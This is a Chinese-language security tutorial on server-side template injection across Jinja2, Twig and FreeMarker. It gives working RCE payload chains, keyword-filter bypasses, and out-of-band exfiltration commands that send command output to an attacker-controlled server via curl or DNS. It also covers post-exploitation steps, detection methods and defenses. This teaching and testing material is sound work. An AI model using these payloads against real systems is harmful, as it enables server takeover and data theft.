1. 项目概述:为什么SSTI是Web安全中不容忽视的“盲区”?
很多刚入行安全测试的朋友,对SQL注入、XSS跨站脚本这些经典漏洞如数家珍,但一提到SSTI(服务器端模板注入),总觉得它有点“偏门”,或者认为它只存在于某些特定的框架里,离自己很远。我刚开始做渗透测试的时候也是这么想的,直到在一次内部红蓝对抗中,我因为一个看似无害的“XSS误报”,差点错过了一个直通服务器最高权限的SSTI漏洞。那次经历让我彻底明白,SSTI不是“偏门”漏洞,而是隐藏在常规测试流程盲区里的“大杀器”。
简单来说,SSTI就是攻击者能够将恶意代码注入到服务器端的模板引擎中,并让服务器在渲染模板时执行这些代码。它之所以危险,是因为它的利用链往往比XSS更长、更深。一个反射型XSS可能只能弹个窗、偷个Cookie,但一个成功的SSTI利用,可以直接在服务器上执行任意命令(RCE),拿到整个应用乃至底层服务器的控制权。更“狡猾”的是,SSTI的入口点常常和XSS重叠,比如一个搜索框、一个评论功能,前端表现可能只是内容被渲染成了HTML,这很容易让测试者误判为只是一个普通的存储型或反射型XSS,从而止步于前端,错过了后端真正的风险。
所以,我打算通过这篇文章,结合我这些年遇到的5个真实、典型的案例,带你一步步拆解SSTI。我们会从一个最常见的“XSS误报”开始,抽丝剥茧,看看如何识别它背后的SSTI本质,再到如何利用不同模板引擎的特性(比如Jinja2、Twig、Freemarker),最终实现RCE。整个过程,我会把每个判断依据、每步利用的思考过程、踩过的坑都讲清楚。无论你是安全开发想从源头规避风险,还是安全测试想提升漏洞挖掘深度,这些实战经验都能给你直接的参考。
2. 案例拆解:从表象到本质的五个阶梯
2.1 案例一:被误判的“反射型XSS”——识别SSTI的入口
场景复现
:在一次对某内容管理系统的测试中,我发现了一个搜索功能。当我在搜索框输入
{{7*7}}
时,返回的页面里,搜索结果区域赫然显示着“49”。而输入
<script>alert(1)</script>
时,页面并没有弹窗,但输入的内容被原样显示在了搜索结果标题里。
新手常见的误判
:看到
<script>
标签被原样输出,很多测试者可能会立刻标记一个“反射型XSS”,认为存在HTML实体编码绕过或过滤不严的问题,然后开始尝试各种XSS payload。但这里有一个关键细节被忽略了:
{{7*7}}
被计算成了49。在普通的HTML渲染里,大括号
{{}}
就是普通文本,绝不会被计算。只有模板引擎才会解析它。
深度解析与判断逻辑 :
-
探测与确认
:输入
{{7*7}}得到49,这是SSTI最直接的“指纹”。它强烈暗示后端使用了类似Jinja2(Python)、Twig(PHP)或类似语法的模板引擎,并且用户输入被直接拼接进了模板语句中。 -
与XSS的本质区别
:XSS的利用发生在客户端浏览器,是浏览器误解了服务器返回的HTML/JS代码。而SSTI的利用发生在服务器端,是服务器在生成HTML页面之前,错误地执行了模板中的代码。
{{7*7}}在服务器端被计算,结果49作为普通文本下发到浏览器,这个过程浏览器完全不知情。 -
为什么容易混淆
:因为这个搜索结果的“标题”字段,很可能在后端模板中是这么写的:
<h2>您搜索的关键词是: {{ user_input }}</h2>。当输入XSS payload时,<script>标签被作为user_input的值填充进去,最终生成的HTML就是<h2>您搜索的关键词是: <script>alert(1)</script></h2>,浏览器会将其解析为标题文本的一部分,而不是可执行的脚本,所以不弹窗。但这恰恰证明了用户输入user_input被直接放进了{{ }}模板变量中。
注意 :这个案例的教训是,任何时候看到用户输入被原样输出到页面,不要只想着XSS。先丢一个
{{7*7}}或${7*7}(针对不同语法)试试水,这能帮你快速区分前端渲染和后端模板渲染。
实操要点 :
-
探测Payload库
:准备好一套简单的探测payload,用于快速识别引擎类型。例如:
-
{{7*7}}-> Jinja2/Twig -
${7*7}-> FreeMarker/Thymeleaf -
<%= 7*7 %>-> ERB (Ruby) -
${{7*7}}-> AngularJS(客户端模板,需区分)
-
-
观察上下文
:注意payload出现的位置。是在纯文本中,还是在HTML标签属性(如
src、href)里?这会影响后续利用payload的构造(是否需要闭合标签)。
2.2 案例二:Jinja2引擎下的信息泄露与初步利用
场景复现
:确认存在SSTI(通过
{{7*7}}
探测到)后,目标系统初步判断为Python Flask框架(常用Jinja2)。我们需要获取更多关于模板环境的信息,为RCE做准备。
深度解析与利用链 : Jinja2模板引擎提供了丰富的内置对象和函数。我们的目标是从一个简单的表达式注入,逐步访问到能够执行代码的类或函数。
-
探索内置对象
:
-
输入
{{ config }}。如果应用开启了DEBUG模式或配置不当,可能会直接打印出完整的应用配置对象,其中可能包含数据库密码、API密钥、SECRET_KEY等敏感信息。 这本身就可能是一个高危信息泄露漏洞。 -
输入
{{ request.environ }}。可以转储当前请求的环境变量,信息量巨大。
-
输入
-
理解对象继承链
:在Jinja2中,一切皆对象。我们可以利用Python的类继承关系来访问危险的类。一个经典的探测序列是:
-
{{ ''.__class__ }}-> 输出<class 'str'>,说明我们拿到了字符串对象的类。 -
{{ ''.__class__.__mro__ }}-> 输出方法解析顺序(MRO),例如(<class 'str'>, <class 'object'>)。这告诉我们str类继承自object基类。 -
{{ ''.__class__.__mro__[1].__subclasses__() }}-> 获取object基类的所有子类列表。这是一个非常长的列表,包含了Python运行时加载的几乎所有类。
-
实操要点与避坑 :
-
谨慎使用
__subclasses__():这个列表可能包含数百个条目,在Web页面上直接渲染可能导致页面卡死或超时。在实际测试中,最好先估算一下数量,或者通过Burp Suite等工具查看响应,避免对生产服务造成DoS影响。 -
寻找“危险”子类
:我们的目标是找到那些可以用于执行命令或读写文件的类。常见的目标包括:
-
<class 'os._wrap_close'>: 通过它可以找到os模块。 -
<class 'subprocess.Popen'>: 直接用于执行命令。 -
寻找包含
file、open、eval、exec、popen等关键词的类。
-
-
手工与工具结合
:在真实渗透中,面对长长的子类列表,手动寻找效率低。可以编写一个简单的Python脚本,在本地模拟类似环境,找出目标类在列表中的索引位置。例如,在本地交互式环境中:
记下索引号(比如# 在本地Python环境中运行 subclasses = ''.__class__.__mro__[1].__subclasses__() for i, subclass in enumerate(subclasses): if 'Popen' in str(subclass): print(i, subclass)<class 'subprocess.Popen'>在索引256处),然后在漏洞点使用{{ ''.__class__.__mro__[1].__subclasses__()[256] }}来确认。
心得 :信息收集是SSTI利用的关键一步。
config和request的泄露有时能直接结束战斗。即使不能,它们也为后续的类遍历提供了上下文。永远不要一上来就想着执行命令,先摸清环境。
2.3 案例三:构造利用链——从子类到RCE
场景复现
:通过案例二,我们假设找到了
<class 'subprocess.Popen'>
在
__subclasses__()
列表中的索引是
256
。现在需要构造Payload实现命令执行。
深度解析与Payload构造
:
仅仅引用
Popen
类是不够的,我们需要实例化它并调用它。在Jinja2中,我们可以通过
__init__
初始化,然后通过
__globals__
访问模块全局变量,或者直接调用。
-
直接调用Popen执行命令 :
# 理想化的模板注入Payload {{ ''.__class__.__mro__[1].__subclasses__()[256]('whoami', shell=True, stdout=-1).communicate()[0].strip() }}-
''.__class__.__mro__[1].__subclasses__()[256]: 获取到Popen类。 -
('whoami', shell=True, stdout=-1): 实例化Popen对象,执行whoami命令。stdout=-1表示将标准输出重定向到管道。 -
.communicate()[0]: 与子进程交互,获取其标准输出。 -
.strip(): 去除输出两端的空白字符。
-
-
利用os模块执行命令(更常见的链) : 如果找不到直接的
Popen,或者它被过滤,可以尝试通过os模块。-
首先找到
os._wrap_close类(假设索引为132)。 -
然后访问其
__init__方法的__globals__属性,它包含了该方法所在模块(即os模块)的全局命名空间。
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('id') }}-
这条链子通过
__globals__字典拿到了os.system函数,然后直接调用它执行id命令。
-
首先找到
实操要点与避坑 :
-
命令回显问题
:在Web场景下,命令执行的结果需要能返回到我们看到的页面中。使用
Popen配合communicate()或os.system配合输出重定向(如id > /tmp/result.txt)是常见思路。但后者需要你有读取那个文件的能力。 -
空格和特殊字符过滤
:模板引擎或WAF可能会过滤空格、点号
.、括号()等。需要掌握一些绕过技巧:-
空格绕过
:使用
+号拼接字符串,或使用%20、/**/(在某些上下文中)。 -
点号绕过
:使用中括号
[]和字符串引用属性。例如{{ ''['__class__'] }}等价于{{ ''.__class__ }}。 -
字符串构造
:如果关键字被过滤,可以用字符拼接。例如,
'os'可以用('o'+'s')或().__class__.__bases__[0].__subclasses__()[59].__name__等奇怪的方式构造。
-
空格绕过
:使用
-
无回显的利用(盲注)
:如果命令执行了但没有输出在页面上,可以考虑使用时间延迟(如
ping -c 10 127.0.0.1)或带外(OOB)技术,将结果通过DNS或HTTP请求外带到自己的服务器。
一个真实的绕过示例
:
假设应用过滤了
class
和
mro
关键词。我们可以尝试:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}
这里利用了Jinja2的过滤器
attr()
来访问属性,避免了直接使用点号。
2.4 案例四:Twig(PHP)引擎下的SSTI利用差异
场景复现
:目标是一个PHP应用,使用Symfony框架,模板引擎为Twig。输入
{{7*7}}
返回49,但使用Jinja2的payload无效。
深度解析:Twig与Jinja2的核心区别
:
Twig语法受Jinja2启发,但安全机制和内部对象模型不同。在默认配置下,Twig比Jinja2更严格,它没有直接暴露类似
__class__
这样的“魔术方法”给模板。
- Twig的沙盒与模式 :Twig有一个沙盒模式(Sandbox),会限制可调用的函数和方法。但很多开发者在非沙盒模式下使用,或者错误配置了沙盒。
-
关键函数
_self:在旧版本的Twig(1.x)中,有一个特殊的上下文变量_self,它指向模板自身,通过它可以访问到Twig的底层环境。-
{{ _self }}: 查看自身信息。 -
{{ _self.env }}: 访问Twig环境。 -
经典利用链(Twig 1.x)
:
{{ _self.env.setCache("ftp://attacker.net:2121") }}或更直接的{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}。这条链子通过注册一个回调函数来执行命令。
-
-
Twig 2.x/3.x的变化
:新版本中
_self不再直接暴露这些危险方法。利用变得更加困难,通常需要结合其他PHP上下文中的变量或对象。例如,如果模板中传入了某个用户可控的对象,可以尝试调用其方法。
实操要点 :
-
版本识别
:通过错误信息或
{{ app }}(Symfony中)等变量尝试获取环境信息,判断Twig版本。 -
寻找上下文变量
:仔细审计应用传递给模板的变量。开发者可能会将一些服务对象、全局对象(如
app、request)传入模板。尝试遍历这些对象的属性和方法。 -
利用PHP内置函数
:Twig支持调用一些PHP函数(取决于配置)。可以尝试:
-
{{ dump(app) }}: 如果dump函数可用,可以查看整个应用上下文。 -
{{ system('id') }}: 直接调用system函数(通常被禁用)。 -
{{ '/bin/bash'|filter('system') }}: 使用过滤器语法(如果相关过滤器被注册且不安全)。
-
注意 :现代PHP框架和Twig的默认安全性有所提升,单纯的模板注入不一定能直接RCE。但它仍然可能导致敏感信息泄露(通过
{{ app.request.server.all|join(',') }}获取服务器信息)或成为攻击链中的一环。
2.5 案例五:FreeMarker(Java)引擎的利用思路
场景复现
:一个Java Spring Boot应用,使用FreeMarker作为模板引擎。输入
${7*7}
返回49。
深度解析:FreeMarker的利用特点
:
FreeMarker使用
${...}
作为表达式语法。它的利用方式与Python/PHP系差别较大,更依赖于对FreeMarker内建函数和Spring上下文的了解。
-
内建函数
:FreeMarker提供了一些强大的内建函数,如:
-
?new: 创建一个对象实例。这是FreeMarker SSTI通往RCE的关键桥梁。例如,<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }。这行代码创建了Execute类的实例(一个用于执行命令的实用类),然后调用它。 -
?api: 访问对象的原生Java API(如果配置允许)。例如,${object?api.someJavaMethod()}。
-
-
类加载与黑名单
:FreeMarker的
?new函数能否成功,取决于目标类是否在类路径(Classpath)上,以及是否被安全管理器或框架黑名单阻止。freemarker.template.utility.Execute是FreeMarker自带的类,通常都在类路径中,因此是首选目标。 -
Spring Boot上下文
:在Spring Boot应用中,模板可能可以访问到Spring的ApplicationContext。尝试注入
${spring}可能会泄露大量上下文信息。更危险的是,如果能够访问到某些特定的Bean,可能会引发更严重的漏洞。
实操Payload与绕过 :
-
基本RCE Payload
:
(注意:FreeMarker模板标签是<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }<#...>,所以Payload需要以标签形式注入,或者确保注入点位于FreeMarker标签内部)。 -
如果
Execute类被过滤或不可用 :-
尝试其他危险类,如
freemarker.template.utility.ObjectConstructor(可以调用任意构造函数)。 -
尝试利用
?api调用Runtime对象:${"java.lang.Runtime".getRuntime().exec("calc")}(需要?api支持且配置宽松)。
-
尝试其他危险类,如
-
无回显处理
:同样可以使用DNS或HTTP外带数据,或者使用
ping命令进行时间盲注。
一个真实的复杂场景
:
在一次测试中,注入点位于一个变量引用处,如
${username}
。直接插入
?new
会破坏语法。我使用了嵌套的方式:
${username?replace("x", "\")?replace("y", "freemarker.template.utility.Execute")?new()("id")}
。通过
replace
函数动态构造了类名字符串,最终成功执行。
3. SSTI漏洞的挖掘、防御与工具
3.1 主动挖掘SSTI漏洞的方法论
知道了怎么利用,更要懂得怎么发现。SSTI的挖掘可以融入你的常规Web安全测试流程。
-
黑盒测试(模糊测试) :
- 入口点枚举 :所有用户输入点都是怀疑对象:GET/POST参数、Cookie、Headers(如User-Agent, X-Forwarded-For)、URL路径、文件上传名等。
-
通用探测Payload
:对每个入口点,依次提交以下Payload,观察响应变化:
-
数学运算
:
{{7*7}}、${7*7}、<%= 7*7 %>、${{7*7}}、#{7*7}。关注返回页面中是否出现49。 -
字符串拼接/表达式
:
{{'a'+'b'}}(看是否变成ab)、${'a'+'b'}。 -
报错信息
:提交
{{、${等不完整语法,或{{unknown_var}},观察是否返回模板引擎特有的错误信息(如Jinja2、Twig、FreeMarker的报错页面),这是最明显的标志。
-
数学运算
:
- 上下文判断 :如果Payload被原样输出,看看它出现在页面的哪个部分。是在HTML标签内、属性里、JavaScript代码块里,还是纯文本中?这有助于判断是否真的进入了模板渲染流程。
-
灰盒/白盒测试(代码审计) :
-
搜索危险函数/模式
:在源代码中搜索:
-
Python (Flask/Django)
:
render_template_string,Template(...).render(...),Jinja2.from_string()。任何将用户输入直接传递给这些函数的行为都极其危险。 -
PHP (Twig)
:
$twig->render($templateString, $array),其中$templateString或$array的值用户可控。 -
Java (FreeMarker)
:
new Template(name, reader, cfg),其中reader的内容用户可控;或者Configuration.getTemplate的参数用户可控。 -
通用模式
:字符串拼接构建模板。例如:
String template = "Hello, " + username + "!";,然后渲染这个template字符串。
-
Python (Flask/Django)
:
-
跟踪数据流
:从用户输入源(如
request.getParameter())开始,跟踪数据是否未经充分净化就流向了模板渲染函数。
-
搜索危险函数/模式
:在源代码中搜索:
3.2 防御SSTI的最佳实践
作为开发者,彻底杜绝SSTI需要从设计和编码两个层面入手。
-
根本原则:严格隔离代码与数据
- 绝对禁止 :永远不要将用户输入直接拼接进模板字符串,然后交给模板引擎渲染。这是万恶之源。
-
正确做法
:使用模板引擎的数据绑定功能。将用户输入作为“数据”(变量值)传递给模板,而不是作为模板的“结构”(代码)。
-
错误示例 (Flask)
:
render_template_string("Hello " + username)。 -
正确示例 (Flask)
:
render_template("greeting.html", name=username),然后在greeting.html中使用{{ name }}。
-
错误示例 (Flask)
:
-
启用沙盒/安全模式
-
Jinja2
:使用
SandboxedEnvironment,它可以限制可访问的类和函数。虽然并非绝对安全,但能极大增加利用难度。 - Twig :启用沙盒模式(Sandbox Mode),并仔细配置允许的策略。
-
FreeMarker
:通过
Configuration.setNewBuiltinClassResolver设置一个严格的类解析器,禁止解析如Execute、ObjectConstructor等危险类。可以继承TemplateClassResolver实现自定义黑名单/白名单。
-
Jinja2
:使用
-
输入验证与净化
- 对用户输入进行严格的类型、格式和长度检查。
- 对于确实需要在模板中显示的用户内容,进行HTML实体编码(防御XSS),但请注意,这对SSTI无效,因为SSTI发生在编码之前。SSTI的防御必须依靠 将输入作为数据传递 。
-
最小化模板功能
-
在满足业务需求的前提下,禁用模板引擎中不必要的强大功能。例如,在FreeMarker中限制或禁用
?new和?api内建函数。
-
在满足业务需求的前提下,禁用模板引擎中不必要的强大功能。例如,在FreeMarker中限制或禁用
-
安全开发培训与代码审计
- 让开发团队了解SSTI的风险。
- 将SSTI作为代码审计和渗透测试的必查项。
3.3 实用工具与资源
工欲善其事,必先利其器。以下工具能提升你发现和利用SSTI的效率。
-
探测与利用工具 :
-
tplmap
: 这是一个神器,类似于SQL注入的sqlmap,但用于SSTI。它支持自动检测模板引擎类型、利用沙盒逃逸、执行命令和文件操作。命令示例:
python tplmap.py -u 'http://target.com/page?name=*'。 - Burp Suite 插件 - SSTI Scanner : 可以在Burp的主动和被动扫描中检测潜在的SSTI漏洞。
- 手工探测字典 : 自己维护一份包含各种引擎语法(Jinja2, Twig, FreeMarker, ERB, Velocity等)的探测payload列表,在Burp Intruder中使用。
-
tplmap
: 这是一个神器,类似于SQL注入的sqlmap,但用于SSTI。它支持自动检测模板引擎类型、利用沙盒逃逸、执行命令和文件操作。命令示例:
-
练习靶场 :
- PortSwigger Web Security Academy (SSTI Labs) : 提供从基础到高级的SSTI实验,涵盖多种引擎,有详细的讲解和解决方案。
- DVWA (Damn Vulnerable Web Application) : 包含SSTI模块(需安装相应扩展)。
- Vulnhub/HTB 相关靶机 : 很多综合靶机中都包含了SSTI的攻击路径。
-
参考与Payload库 :
- PayloadsAllTheThings - SSTI : GitHub上的开源项目,收集了几乎所有模板引擎的SSTI payload和绕过技巧,是必备的参考书。
- Swissky's SSTI Cheat Sheet : 另一个优秀的速查表,按引擎分类,清晰明了。
4. 从理论到实战:构建你的SSTI测试心智模型
看了这么多案例和技巧,最后我想分享一下我在实际渗透测试中,面对一个可能存在SSTI的功能点时,大脑里的思考流程。这更像是一个心智模型,帮助你系统性地进行测试。
第一步:识别与确认
- 找点 :看到任何用户输入能影响页面内容的地方,心里先打一个问号。
-
投石问路
:丢出最简单的数学运算payload(
{{7*7}},${7*7},<%= 7*7 %>)。不要只试一个,不同位置、不同参数可能由不同后端服务处理。 -
观察反应
:
- 返回49/计算结果 :高概率存在SSTI,进入第二步。
- 返回原payload :可能是普通XSS,也可能payload被HTML编码后放入模板变量(如案例一)。需要结合上下文分析。
- 返回模板错误 :黄金信号!不仅确认SSTI,错误信息往往直接告诉你引擎类型和版本。
- 无变化或报其他错误 :暂时排除,记录后继续其他测试。
第二步:信息收集与引擎指纹识别
-
确定引擎
:通过错误信息、特殊语法生效情况(如
{{ }}生效则是Jinja2/Twig,${ }生效则是FreeMarker等)、{{7*'7'}}(Jinja2返回7777777,Twig返回49)等方式判断。 -
探测环境
:尝试
{{ config }}、{{ settings }}、{{ self }}、{{ app }}等获取环境信息的payload。即使不能RCE,信息泄露也可能是重大发现。 -
判断过滤与沙盒
:尝试使用一些基本属性访问,如
{{ ''.__class__ }}。如果被拦截或返回空,说明可能存在WAF或沙盒限制,需要思考绕过。
第三步:构造利用链
-
选择攻击路径
:
-
Jinja2
:走
__class__->__mro__->__subclasses__()的类遍历路线,寻找Popen、os._wrap_close等目标。 -
Twig (1.x)
:尝试
_self.env相关链。 -
FreeMarker
:尝试
?new创建Execute或ObjectConstructor。
-
Jinja2
:走
-
处理过滤
:如果遇到关键字过滤,灵活运用:
-
字符串拼接
:
'__cla'+'ss__' -
属性访问替代
:用
|attr()代替.,用['__class__']代替.__class__。 - 编码/混淆 :Hex编码、Base64编码(如果模板支持解码函数)。
-
利用上下文变量
:也许模板里已经有一个叫
request或session的对象可以直接利用,不必从基本类型开始爬。
-
字符串拼接
:
-
实现RCE
:
-
有回显
:直接执行
whoami、id、ifconfig等命令,查看输出。 -
无回显
:
-
时间盲注
:执行
sleep 5或ping -c 5 127.0.0.1,观察响应延迟。 -
DNS外带
:执行
nslookup your-domain.com,在你的DNS服务器上查看日志。 -
HTTP外带
:使用
curl http://your-server.com/$(whoami)或wget将结果发送到你的服务器。
-
时间盲注
:执行
-
有回显
:直接执行
第四步:后利用与报告
- 权限提升 :拿到命令执行后,检查当前用户权限,寻找提权路径(sudo -l, SUID文件,内核漏洞等)。
- 横向移动 :探索内网,收集密码、密钥、配置文件。
- 清晰报告 :在报告中,不仅要提供复现步骤和Payload,更要清晰地说明漏洞原理、数据流(用户输入如何到达模板引擎)、以及修复建议(代码层面的修改方案)。
这个过程不是线性的,经常需要回溯和尝试多种可能。最重要的就是保持耐心和细心,每一个错误信息、每一次细微的响应差异,都可能是指引你通向RCE的关键线索。SSTI的挖掘和利用,就像在解一个多层的谜题,而理解每一种模板引擎的设计哲学,就是解开谜题的万能钥匙。
454

被折叠的 条评论
为什么被折叠?



